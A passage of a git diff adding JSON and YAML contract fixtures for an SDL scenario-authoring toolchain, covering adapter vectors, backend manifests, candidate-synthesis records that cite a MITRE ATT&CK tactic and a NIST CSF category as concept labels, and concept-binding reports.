"rename-sdl-declaration/v1", + "target_address": "nodes.web" + }, + "operation_digest": "sha256:2090544d5513901d4f718cfd20eb11d110c11b72f6bc5373b290f89044702b95", + "profile_digest": "sha256:9b0e24c2c2e61430712ccebf0b4874cac3298d236059feed4212590ecfa5e140", + "schema_version": "authoring-adapter-vector/v1" +} diff --git a/contracts/fixtures/authoring-adapters-v1/cases/strict-source.json b/contracts/fixtures/authoring-adapters-v1/cases/strict-source.json new file mode 100644 index 000000000..28b59e848 --- /dev/null +++ b/contracts/fixtures/authoring-adapters-v1/cases/strict-source.json @@ -0,0 +1,30 @@ +{ + "case_id": "strict-source", + "expected": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:5fcc24aef66b0505b7d5230749f9f9ae4f0b01c58eeefee75156c1d1cd600ae8", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:9cba4d8a0ee0b9839d2ece7695e6f26712e38208b47b5c58b264c89ea683845b", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": null + }, + "input_digest": "sha256:d891b872e2decad0ad13e7a4465bb720904b8ddb8aa3249f5064f06141d784aa", + "input_source": "name: adapter-fixture\nnodes:\n web:\n type: switch\n", + "operation": { + "new_local_name": null, + "profile": "validate-sdl/v1", + "target_address": null + }, + "operation_digest": "sha256:49eedb9ae9eaebc6fb19e5e75deaab1dd1bfeeae8f6fdac1682a2829cedf34f0", + "profile_digest": "sha256:9b0e24c2c2e61430712ccebf0b4874cac3298d236059feed4212590ecfa5e140", + "schema_version": "authoring-adapter-vector/v1" +} diff --git a/contracts/fixtures/authoring-adapters/authoring-adapter-comparison-v1/invalid/unknown-field.json b/contracts/fixtures/authoring-adapters/authoring-adapter-comparison-v1/invalid/unknown-field.json new file mode 100644 index 000000000..a3c081041 --- /dev/null +++ b/contracts/fixtures/authoring-adapters/authoring-adapter-comparison-v1/invalid/unknown-field.json @@ -0,0 +1,50 @@ +{ + "artifact_relation": "equivalent", + "case_id": "strict-source", + "diagnostic_relation": "equivalent", + "left": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:5fcc24aef66b0505b7d5230749f9f9ae4f0b01c58eeefee75156c1d1cd600ae8", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:9cba4d8a0ee0b9839d2ece7695e6f26712e38208b47b5c58b264c89ea683845b", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": null + }, + "left_matches_expected": true, + "left_path": "left", + "provenance_relation": "not-applicable", + "reason_codes": [], + "right": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:5fcc24aef66b0505b7d5230749f9f9ae4f0b01c58eeefee75156c1d1cd600ae8", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:9cba4d8a0ee0b9839d2ece7695e6f26712e38208b47b5c58b264c89ea683845b", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": null + }, + "right_matches_expected": true, + "right_path": "right", + "schema_version": "authoring-adapter-comparison/v1", + "semantic_relation": "equivalent", + "semantic_result_digest": "sha256:28b092e7fee12323035a34da59a3ab7ff65d2c3628e785d2b511c251641dc431", + "unexpected": true, + "vector_digest": "sha256:f3c9ec31761da485ea2c41da44dd338dd471f766ae1ffe48f033ddfc0c772b98" +} diff --git a/contracts/fixtures/authoring-adapters/authoring-adapter-comparison-v1/valid/reference.json b/contracts/fixtures/authoring-adapters/authoring-adapter-comparison-v1/valid/reference.json new file mode 100644 index 000000000..af40ede68 --- /dev/null +++ b/contracts/fixtures/authoring-adapters/authoring-adapter-comparison-v1/valid/reference.json @@ -0,0 +1,49 @@ +{ + "artifact_relation": "equivalent", + "case_id": "strict-source", + "diagnostic_relation": "equivalent", + "left": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:5fcc24aef66b0505b7d5230749f9f9ae4f0b01c58eeefee75156c1d1cd600ae8", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:9cba4d8a0ee0b9839d2ece7695e6f26712e38208b47b5c58b264c89ea683845b", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": null + }, + "left_matches_expected": true, + "left_path": "left", + "provenance_relation": "not-applicable", + "reason_codes": [], + "right": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:5fcc24aef66b0505b7d5230749f9f9ae4f0b01c58eeefee75156c1d1cd600ae8", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:9cba4d8a0ee0b9839d2ece7695e6f26712e38208b47b5c58b264c89ea683845b", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": null + }, + "right_matches_expected": true, + "right_path": "right", + "schema_version": "authoring-adapter-comparison/v1", + "semantic_relation": "equivalent", + "semantic_result_digest": "sha256:28b092e7fee12323035a34da59a3ab7ff65d2c3628e785d2b511c251641dc431", + "vector_digest": "sha256:f3c9ec31761da485ea2c41da44dd338dd471f766ae1ffe48f033ddfc0c772b98" +} diff --git a/contracts/fixtures/authoring-adapters/authoring-adapter-profile-v1/invalid/unknown-field.json b/contracts/fixtures/authoring-adapters/authoring-adapter-profile-v1/invalid/unknown-field.json new file mode 100644 index 000000000..e7b7d9751 --- /dev/null +++ b/contracts/fixtures/authoring-adapters/authoring-adapter-profile-v1/invalid/unknown-field.json @@ -0,0 +1,12 @@ +{ + "canonicalization_profile": "raes-sdl-semantic/v2", + "diagnostic_profile": "authoring-diagnostic-semantics/v1", + "max_cases": 32, + "max_diagnostics": 64, + "max_source_bytes": 65536, + "migration_policy": "reject", + "profile_id": "raes-authoring-adapter-conformance/v1", + "semantic_profile_digest": "sha256:6c854fccb0a982dff1bb122ba75d795a3f2a28474c0cd7be0022137830fc7830", + "source_profile": "sdl-yaml/v1", + "unexpected": true +} diff --git a/contracts/fixtures/authoring-adapters/authoring-adapter-profile-v1/valid/reference.json b/contracts/fixtures/authoring-adapters/authoring-adapter-profile-v1/valid/reference.json new file mode 100644 index 000000000..8f96ad1eb --- /dev/null +++ b/contracts/fixtures/authoring-adapters/authoring-adapter-profile-v1/valid/reference.json @@ -0,0 +1,11 @@ +{ + "canonicalization_profile": "raes-sdl-semantic/v2", + "diagnostic_profile": "authoring-diagnostic-semantics/v1", + "max_cases": 32, + "max_diagnostics": 64, + "max_source_bytes": 65536, + "migration_policy": "reject", + "profile_id": "raes-authoring-adapter-conformance/v1", + "semantic_profile_digest": "sha256:6c854fccb0a982dff1bb122ba75d795a3f2a28474c0cd7be0022137830fc7830", + "source_profile": "sdl-yaml/v1" +} diff --git a/contracts/fixtures/authoring-adapters/authoring-adapter-vector-v1/invalid/unknown-field.json b/contracts/fixtures/authoring-adapters/authoring-adapter-vector-v1/invalid/unknown-field.json new file mode 100644 index 000000000..6fb433524 --- /dev/null +++ b/contracts/fixtures/authoring-adapters/authoring-adapter-vector-v1/invalid/unknown-field.json @@ -0,0 +1,32 @@ +{ + "case_id": "strict-source", + "contrast": null, + "expected": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:5fcc24aef66b0505b7d5230749f9f9ae4f0b01c58eeefee75156c1d1cd600ae8", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:9cba4d8a0ee0b9839d2ece7695e6f26712e38208b47b5c58b264c89ea683845b", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": null + }, + "input_digest": "sha256:d891b872e2decad0ad13e7a4465bb720904b8ddb8aa3249f5064f06141d784aa", + "input_source": "name: adapter-fixture\nnodes:\n web:\n type: switch\n", + "operation": { + "new_local_name": null, + "profile": "validate-sdl/v1", + "target_address": null + }, + "operation_digest": "sha256:49eedb9ae9eaebc6fb19e5e75deaab1dd1bfeeae8f6fdac1682a2829cedf34f0", + "profile_digest": "sha256:9b0e24c2c2e61430712ccebf0b4874cac3298d236059feed4212590ecfa5e140", + "schema_version": "authoring-adapter-vector/v1", + "unexpected": true +} diff --git a/contracts/fixtures/authoring-adapters/authoring-adapter-vector-v1/valid/reference.json b/contracts/fixtures/authoring-adapters/authoring-adapter-vector-v1/valid/reference.json new file mode 100644 index 000000000..114dfda4b --- /dev/null +++ b/contracts/fixtures/authoring-adapters/authoring-adapter-vector-v1/valid/reference.json @@ -0,0 +1,31 @@ +{ + "case_id": "strict-source", + "contrast": null, + "expected": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:5fcc24aef66b0505b7d5230749f9f9ae4f0b01c58eeefee75156c1d1cd600ae8", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:9cba4d8a0ee0b9839d2ece7695e6f26712e38208b47b5c58b264c89ea683845b", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": null + }, + "input_digest": "sha256:d891b872e2decad0ad13e7a4465bb720904b8ddb8aa3249f5064f06141d784aa", + "input_source": "name: adapter-fixture\nnodes:\n web:\n type: switch\n", + "operation": { + "new_local_name": null, + "profile": "validate-sdl/v1", + "target_address": null + }, + "operation_digest": "sha256:49eedb9ae9eaebc6fb19e5e75deaab1dd1bfeeae8f6fdac1682a2829cedf34f0", + "profile_digest": "sha256:9b0e24c2c2e61430712ccebf0b4874cac3298d236059feed4212590ecfa5e140", + "schema_version": "authoring-adapter-vector/v1" +} diff --git a/contracts/fixtures/backend-manifest/backend-manifest-v2/valid/stub.json b/contracts/fixtures/backend-manifest/backend-manifest-v2/valid/stub.json index d978ac826..3b9e19bd0 100644 --- a/contracts/fixtures/backend-manifest/backend-manifest-v2/valid/stub.json +++ b/contracts/fixtures/backend-manifest/backend-manifest-v2/valid/stub.json @@ -215,6 +215,18 @@ ], "support_level": "unsupported" }, + { + "constraint_refs": [], + "disclosure_refs": [ + "disclosure:participant_modular_control:unsupported" + ], + "evidence_refs": [], + "feature": "participant_modular_control", + "limitation_refs": [ + "limitation:participant_modular_control:not-realized" + ], + "support_level": "unsupported" + }, { "constraint_refs": [], "disclosure_refs": [ @@ -502,6 +514,10 @@ "participant-resource-budget-state-v1", "participant-resource-budget-event-v1", "participant-control-occurrence-v1", + "participant-control-selection-v1", + "participant-control-evaluation-v1", + "participant-control-selection-v2", + "participant-control-evaluation-v2", "participant-crossing-occurrence-v1", "participant-flow-control-relation-v1", "participant-lifecycle-event-v1", diff --git a/contracts/fixtures/candidate-synthesis/sdl-candidate-synthesis-record-v1/valid/attack-enterprise.json b/contracts/fixtures/candidate-synthesis/sdl-candidate-synthesis-record-v1/valid/attack-enterprise.json new file mode 100644 index 000000000..8269b71ab --- /dev/null +++ b/contracts/fixtures/candidate-synthesis/sdl-candidate-synthesis-record-v1/valid/attack-enterprise.json @@ -0,0 +1,202 @@ +{ + "candidate_canonical_digest": "sha256:1d5f9c8107b2c1b84f404a24dbcf1260676fbb5cd94cfca7da5a04be6139c1af", + "candidate_exact_digest": "sha256:3f0bcf7442f8fa4a2ed66f528060795c8795334249a32c81c20cedab13df152a", + "construct_traces": [ + { + "contributions": [ + { + "kind": "imported-assertion", + "ref_id": "source-web" + }, + { + "kind": "inferred-structure", + "ref_id": "concept-node-emission" + }, + { + "kind": "author-decision", + "ref_id": "emit-web-node" + } + ], + "target_ref": "nodes.web" + } + ], + "disposition": "success", + "input": { + "assertions": [ + { + "assertion_id": "source-web", + "concept": { + "authority": "mitre", + "concept_id": "TA0002", + "revision": "2026.08", + "scheme_id": "attack-enterprise", + "source_digest": "sha256:89506510066a02415856b5c9217dbb5ea03a603cb88d9078e74dd14a7c7eaa8c", + "source_locator": null + }, + "kind": "concept" + } + ], + "assumptions": [], + "decisions": [ + { + "actor_kind": "author", + "actor_ref": "author:reviewer", + "assertion_ids": [ + "source-web" + ], + "basis": "The source concept is intentionally authored as one compute node.", + "decision_id": "emit-web-node", + "node_type": "compute", + "target_ref": "nodes.web" + } + ], + "input_id": "external-web-candidate", + "input_version": "1", + "policy_digest": "sha256:dccbffb1e4c3b11d60e74056a893cdcfdf806131344aee59f0885cf82ac466b1", + "schema_version": "sdl-candidate-synthesis-input/v1", + "source": { + "adapter": { + "digest": "sha256:8eb5c09e5b98eec83296f423f14fd6ffc233fb6b8f93c4b8aa3645427c267c7c", + "profile_id": "source-adapter/v1", + "version": "1" + }, + "assertion_format": "stix-bundle/2.1", + "assertion_set_digest": "sha256:b24438b79cf95bc60bbc0326e8a088c45578e3da92c65ba0a89921606da59684", + "authority": "mitre", + "content_digest": "sha256:89506510066a02415856b5c9217dbb5ea03a603cb88d9078e74dd14a7c7eaa8c", + "extraction_query": { + "digest": "sha256:a4a158ed33cd097cde9812d2f4410088f25d30a7f2ba18f42ee980234561af05", + "profile_id": "source-query/v1", + "version": "1" + }, + "information_flow_policy_refs": [ + { + "digest": "sha256:9ede0d688cb912b68a5e46af5e16ee620433d53d50192ecd601c67e0aaed0db4", + "profile_id": "source-information-flow/v1", + "version": "1" + } + ], + "revision": "2026.08", + "scheme_id": "attack-enterprise", + "source_id": "external-knowledge" + }, + "target": { + "scenario_id": "external-web", + "scenario_version": "1.0.0" + }, + "transformation_profile": { + "digest": "sha256:6d5a5d8faa996e0a0783f4b9c32ad8217571cb18bc5ce8ca3e359c547e0d642b", + "profile_id": "concept-nodes/v1", + "version": "1" + } + }, + "input_digest": "sha256:5ebdf8274f7db5a6c45b76bc3d8d914ffaf6f33b0d74e32763880bee71986bcd", + "input_id": "external-web-candidate", + "profile": { + "all_or_none": true, + "canonicalization_profile": "raes-sdl-canonical/v1", + "default_ids": [], + "deterministic_order": "sorted-target-ref/v1", + "imports_allowed": false, + "limits": { + "max_assertions": 4096, + "max_assumptions": 1024, + "max_decisions": 1024, + "max_node_identifier_length": 35 + }, + "profile_digest": "sha256:6d5a5d8faa996e0a0783f4b9c32ad8217571cb18bc5ce8ca3e359c547e0d642b", + "profile_id": "concept-nodes/v1", + "profile_version": "1", + "refusal_reason_codes": [ + "ambiguous-ordering", + "missing-native-semantics", + "stale-input", + "transformation-profile-unavailable", + "unresolved-parameterization", + "unsupported-relation" + ], + "rendering_profile": "sdl-yaml/v1", + "rule_ids": [ + "concept-node-emission" + ], + "schema_version": "sdl-candidate-synthesis-profile/v1", + "semantic_validation_required": true, + "source_profile": "sdl-candidate-synthesis-input/v1", + "supported_assertion_kinds": [ + "concept" + ], + "supported_node_types": [ + "compute", + "switch" + ], + "target_profile": "sdl-authoring-input/v1" + }, + "record_id": "external-web-candidate-record", + "schema_version": "sdl-candidate-synthesis-record/v1", + "transformation_report": { + "affected_identities": [ + "nodes.web" + ], + "artifact_kind": "sdl-authoring", + "canonicalization_profile": "raes-sdl-semantic/v2", + "derivation_digest": "sha256:8f68ccaa5339df7562b3607f9954c610e17141345b0f817a5b98155ab244e969", + "diagnostics": [], + "identity_map": [], + "losses": [], + "operation_profile": "concept-nodes/v1", + "policy_digest": "sha256:dccbffb1e4c3b11d60e74056a893cdcfdf806131344aee59f0885cf82ac466b1", + "postconditions": [ + { + "check_id": "candidate-reparsed", + "diagnostic_codes": [], + "outcome": "passed" + }, + { + "check_id": "candidate-semantic-valid", + "diagnostic_codes": [], + "outcome": "passed" + } + ], + "preconditions": [ + { + "check_id": "assertions-current", + "diagnostic_codes": [], + "outcome": "passed" + }, + { + "check_id": "decisions-complete", + "diagnostic_codes": [], + "outcome": "passed" + }, + { + "check_id": "source-admitted", + "diagnostic_codes": [], + "outcome": "passed" + }, + { + "check_id": "transformation-profile-supported", + "diagnostic_codes": [], + "outcome": "passed" + } + ], + "preservation": { + "evidence_digests": [ + "sha256:1d5f9c8107b2c1b84f404a24dbcf1260676fbb5cd94cfca7da5a04be6139c1af", + "sha256:3f0bcf7442f8fa4a2ed66f528060795c8795334249a32c81c20cedab13df152a", + "sha256:5ebdf8274f7db5a6c45b76bc3d8d914ffaf6f33b0d74e32763880bee71986bcd" + ], + "limitations": [ + "Synthesis admission does not establish source equivalence, instantiation, compilation, or execution." + ], + "outcome": "verified", + "profile": "source-neutral-candidate-provenance/v1" + }, + "schema_version": "artifact-transformation-report/v1", + "source_digest": "sha256:5ebdf8274f7db5a6c45b76bc3d8d914ffaf6f33b0d74e32763880bee71986bcd", + "source_profile": "sdl-candidate-synthesis-input/v1", + "status": "success", + "target_digest": "sha256:1d5f9c8107b2c1b84f404a24dbcf1260676fbb5cd94cfca7da5a04be6139c1af", + "target_profile": "sdl-authoring-input/v1" + }, + "unresolved_choices": [] +} diff --git a/contracts/fixtures/candidate-synthesis/sdl-candidate-synthesis-record-v1/valid/nist-csf.json b/contracts/fixtures/candidate-synthesis/sdl-candidate-synthesis-record-v1/valid/nist-csf.json new file mode 100644 index 000000000..07871956c --- /dev/null +++ b/contracts/fixtures/candidate-synthesis/sdl-candidate-synthesis-record-v1/valid/nist-csf.json @@ -0,0 +1,202 @@ +{ + "candidate_canonical_digest": "sha256:1d5f9c8107b2c1b84f404a24dbcf1260676fbb5cd94cfca7da5a04be6139c1af", + "candidate_exact_digest": "sha256:3f0bcf7442f8fa4a2ed66f528060795c8795334249a32c81c20cedab13df152a", + "construct_traces": [ + { + "contributions": [ + { + "kind": "imported-assertion", + "ref_id": "source-web" + }, + { + "kind": "inferred-structure", + "ref_id": "concept-node-emission" + }, + { + "kind": "author-decision", + "ref_id": "emit-web-node" + } + ], + "target_ref": "nodes.web" + } + ], + "disposition": "success", + "input": { + "assertions": [ + { + "assertion_id": "source-web", + "concept": { + "authority": "nist", + "concept_id": "PR.PS", + "revision": "2026.08", + "scheme_id": "cybersecurity-framework", + "source_digest": "sha256:6726a748573bdf5191bd83272a445f5d29733f734b456f15b5fc1758ec842385", + "source_locator": null + }, + "kind": "concept" + } + ], + "assumptions": [], + "decisions": [ + { + "actor_kind": "author", + "actor_ref": "author:reviewer", + "assertion_ids": [ + "source-web" + ], + "basis": "The source concept is intentionally authored as one compute node.", + "decision_id": "emit-web-node", + "node_type": "compute", + "target_ref": "nodes.web" + } + ], + "input_id": "external-web-candidate", + "input_version": "1", + "policy_digest": "sha256:dccbffb1e4c3b11d60e74056a893cdcfdf806131344aee59f0885cf82ac466b1", + "schema_version": "sdl-candidate-synthesis-input/v1", + "source": { + "adapter": { + "digest": "sha256:8eb5c09e5b98eec83296f423f14fd6ffc233fb6b8f93c4b8aa3645427c267c7c", + "profile_id": "source-adapter/v1", + "version": "1" + }, + "assertion_format": "json-catalog/1", + "assertion_set_digest": "sha256:794c75d55b30d48c980b0f7bd4635bbfe48a30981ed0eb54f5c9a23544b51641", + "authority": "nist", + "content_digest": "sha256:6726a748573bdf5191bd83272a445f5d29733f734b456f15b5fc1758ec842385", + "extraction_query": { + "digest": "sha256:a4a158ed33cd097cde9812d2f4410088f25d30a7f2ba18f42ee980234561af05", + "profile_id": "source-query/v1", + "version": "1" + }, + "information_flow_policy_refs": [ + { + "digest": "sha256:9ede0d688cb912b68a5e46af5e16ee620433d53d50192ecd601c67e0aaed0db4", + "profile_id": "source-information-flow/v1", + "version": "1" + } + ], + "revision": "2026.08", + "scheme_id": "cybersecurity-framework", + "source_id": "external-knowledge" + }, + "target": { + "scenario_id": "external-web", + "scenario_version": "1.0.0" + }, + "transformation_profile": { + "digest": "sha256:6d5a5d8faa996e0a0783f4b9c32ad8217571cb18bc5ce8ca3e359c547e0d642b", + "profile_id": "concept-nodes/v1", + "version": "1" + } + }, + "input_digest": "sha256:d11fe09ef96b76d7b6b3d4420588670600eee5dcec4eabdcb2585391915204e3", + "input_id": "external-web-candidate", + "profile": { + "all_or_none": true, + "canonicalization_profile": "raes-sdl-canonical/v1", + "default_ids": [], + "deterministic_order": "sorted-target-ref/v1", + "imports_allowed": false, + "limits": { + "max_assertions": 4096, + "max_assumptions": 1024, + "max_decisions": 1024, + "max_node_identifier_length": 35 + }, + "profile_digest": "sha256:6d5a5d8faa996e0a0783f4b9c32ad8217571cb18bc5ce8ca3e359c547e0d642b", + "profile_id": "concept-nodes/v1", + "profile_version": "1", + "refusal_reason_codes": [ + "ambiguous-ordering", + "missing-native-semantics", + "stale-input", + "transformation-profile-unavailable", + "unresolved-parameterization", + "unsupported-relation" + ], + "rendering_profile": "sdl-yaml/v1", + "rule_ids": [ + "concept-node-emission" + ], + "schema_version": "sdl-candidate-synthesis-profile/v1", + "semantic_validation_required": true, + "source_profile": "sdl-candidate-synthesis-input/v1", + "supported_assertion_kinds": [ + "concept" + ], + "supported_node_types": [ + "compute", + "switch" + ], + "target_profile": "sdl-authoring-input/v1" + }, + "record_id": "external-web-candidate-record", + "schema_version": "sdl-candidate-synthesis-record/v1", + "transformation_report": { + "affected_identities": [ + "nodes.web" + ], + "artifact_kind": "sdl-authoring", + "canonicalization_profile": "raes-sdl-semantic/v2", + "derivation_digest": "sha256:d94d90e648b51cde5992cb7c2fc526ae71f288b8ec02bf6d8549a56136bb0e02", + "diagnostics": [], + "identity_map": [], + "losses": [], + "operation_profile": "concept-nodes/v1", + "policy_digest": "sha256:dccbffb1e4c3b11d60e74056a893cdcfdf806131344aee59f0885cf82ac466b1", + "postconditions": [ + { + "check_id": "candidate-reparsed", + "diagnostic_codes": [], + "outcome": "passed" + }, + { + "check_id": "candidate-semantic-valid", + "diagnostic_codes": [], + "outcome": "passed" + } + ], + "preconditions": [ + { + "check_id": "assertions-current", + "diagnostic_codes": [], + "outcome": "passed" + }, + { + "check_id": "decisions-complete", + "diagnostic_codes": [], + "outcome": "passed" + }, + { + "check_id": "source-admitted", + "diagnostic_codes": [], + "outcome": "passed" + }, + { + "check_id": "transformation-profile-supported", + "diagnostic_codes": [], + "outcome": "passed" + } + ], + "preservation": { + "evidence_digests": [ + "sha256:1d5f9c8107b2c1b84f404a24dbcf1260676fbb5cd94cfca7da5a04be6139c1af", + "sha256:3f0bcf7442f8fa4a2ed66f528060795c8795334249a32c81c20cedab13df152a", + "sha256:d11fe09ef96b76d7b6b3d4420588670600eee5dcec4eabdcb2585391915204e3" + ], + "limitations": [ + "Synthesis admission does not establish source equivalence, instantiation, compilation, or execution." + ], + "outcome": "verified", + "profile": "source-neutral-candidate-provenance/v1" + }, + "schema_version": "artifact-transformation-report/v1", + "source_digest": "sha256:d11fe09ef96b76d7b6b3d4420588670600eee5dcec4eabdcb2585391915204e3", + "source_profile": "sdl-candidate-synthesis-input/v1", + "status": "success", + "target_digest": "sha256:1d5f9c8107b2c1b84f404a24dbcf1260676fbb5cd94cfca7da5a04be6139c1af", + "target_profile": "sdl-authoring-input/v1" + }, + "unresolved_choices": [] +} diff --git a/contracts/fixtures/concept-authority/controlled-vocabularies-v1/valid/reference.json b/contracts/fixtures/concept-authority/controlled-vocabularies-v1/valid/reference.json index 479235f8f..5da20dd80 100644 --- a/contracts/fixtures/concept-authority/controlled-vocabularies-v1/valid/reference.json +++ b/contracts/fixtures/concept-authority/controlled-vocabularies-v1/valid/reference.json @@ -1131,6 +1131,10 @@ "title": "Participant Final Sink Mediation", "description": "Backend declares evidence-bound fail-closed exact-cut permit mediation immediately before an RAES-controlled external effect; enforcement remains the RUN-319 runtime boundary, not this declaration." }, + "participant_modular_control": { + "title": "Participant Modular Control", + "description": "Backend declares evidence-bound resolution of closed SEM-235 provider/profile selections and typed contributions at an exact admitted context; declaration, provider installation, effective support, and effect realization remain distinct." + }, "participant_quarantined_processing": { "title": "Participant Quarantined Processing", "description": "Backend declares evidence-bound bounded quarantine of unknown or untrusted source material; quarantine has no consequential authority unless the final-sink path still permits the exact effect." diff --git a/contracts/fixtures/concept-authority/external-concept-bindings-v1/context/autonomous-behavior-subject.sdl.yaml b/contracts/fixtures/concept-authority/external-concept-bindings-v1/context/autonomous-behavior-subject.sdl.yaml index bd9a07a86..e060f4651 100644 --- a/contracts/fixtures/concept-authority/external-concept-bindings-v1/context/autonomous-behavior-subject.sdl.yaml +++ b/contracts/fixtures/concept-authority/external-concept-bindings-v1/context/autonomous-behavior-subject.sdl.yaml @@ -4,7 +4,7 @@ entities: role: blue agents: autonomous-service: - entity: automation-team + affiliations: [automation-team] behavior_specifications: service-publication: semantic_version: 1.0.0 diff --git a/contracts/fixtures/concept-authority/external-concept-bindings-v1/valid/activitystreams-behavior.json b/contracts/fixtures/concept-authority/external-concept-bindings-v1/valid/activitystreams-behavior.json index 78ffb4955..02c4b76d7 100644 --- a/contracts/fixtures/concept-authority/external-concept-bindings-v1/valid/activitystreams-behavior.json +++ b/contracts/fixtures/concept-authority/external-concept-bindings-v1/valid/activitystreams-behavior.json @@ -92,7 +92,7 @@ "source_locator": "https://www.w3.org/TR/2017/REC-activitystreams-vocabulary-20170523/" }, "subject": { - "artifact_digest": "sha256:5f7d5db18b6f3d81693fd0e92a82a5dec8c96dd9a1790589826551518544b7ca", + "artifact_digest": "sha256:78a5982f347b4772bb58fa4fa7802594092fbbad1503d97dcf8d840a1ba61def", "canonical_ref": "behavior_specifications.service-publication", "lifecycle_phase": "normalized-authoring", "owning_contract_id": "sdl-authoring-input-v1", diff --git a/contracts/fixtures/concept-authority/external-concept-bindings-v1/valid/fipa-behavior.json b/contracts/fixtures/concept-authority/external-concept-bindings-v1/valid/fipa-behavior.json index 6bfdf85a9..00da74d61 100644 --- a/contracts/fixtures/concept-authority/external-concept-bindings-v1/valid/fipa-behavior.json +++ b/contracts/fixtures/concept-authority/external-concept-bindings-v1/valid/fipa-behavior.json @@ -92,7 +92,7 @@ "source_locator": "https://www.fipa.org/specs/fipa00037/SC00037J.html" }, "subject": { - "artifact_digest": "sha256:5f7d5db18b6f3d81693fd0e92a82a5dec8c96dd9a1790589826551518544b7ca", + "artifact_digest": "sha256:78a5982f347b4772bb58fa4fa7802594092fbbad1503d97dcf8d840a1ba61def", "canonical_ref": "behavior_specifications.agent-request", "lifecycle_phase": "normalized-authoring", "owning_contract_id": "sdl-authoring-input-v1", diff --git a/contracts/fixtures/concept-authority/semantic-projection-report-v1/valid/declared-attack-enterprise.json b/contracts/fixtures/concept-authority/semantic-projection-report-v1/valid/declared-attack-enterprise.json new file mode 100644 index 000000000..5bc3f1b7b --- /dev/null +++ b/contracts/fixtures/concept-authority/semantic-projection-report-v1/valid/declared-attack-enterprise.json @@ -0,0 +1,265 @@ +{ + "diagnostics": [], + "frame": { + "binding": { + "binding_set_digest": "sha256:6e531b2dde790abed7e45d5ae5509407102c41e956d4ad9197b5001c4b5d99a4", + "binding_set_id": "portable-scheme-examples", + "binding_set_version": "1.0.0", + "schema_version": "external-concept-bindings/v1" + }, + "configuration": { + "coordinate_digest": "sha256:cb463988d91c28f52b32a37cd1cbb6f9063e8256a250c68cb926c4cba3a94d3d", + "coordinate_id": "native-subject-configuration-scope/v1", + "coordinate_version": "1", + "cut_ref": "native-subject-artifact", + "posture": "applicable" + }, + "evidence_boundary": { + "boundary_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "boundary_id": "internal-evidence", + "boundary_revision": "1", + "clock_authority": "run-clock", + "evaluation_cut_ref": "evidence-cut-1", + "freshness_policy_digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "freshness_policy_id": "exact-cut-no-ambient-clock", + "freshness_policy_revision": "1", + "time_domain": "logical" + }, + "perspective": { + "applicable_cut_ref": null, + "audience_ref": null, + "episode_id": null, + "participant_address": null, + "party_ref": "authors.reference", + "perspective_kind": "author", + "projection_policy_digest": null, + "projection_policy_id": null, + "projection_policy_revision": null + }, + "predicate_profile": { + "adapter_digest": "sha256:004320f89a2b1e98f410d22da593ebb9246e21d1051522ab5e5e41f8e4a59fa1", + "adapter_id": "declared-owner-adapter", + "adapter_version": "1", + "allow_approximate_bindings": true, + "allow_lossy_bindings": true, + 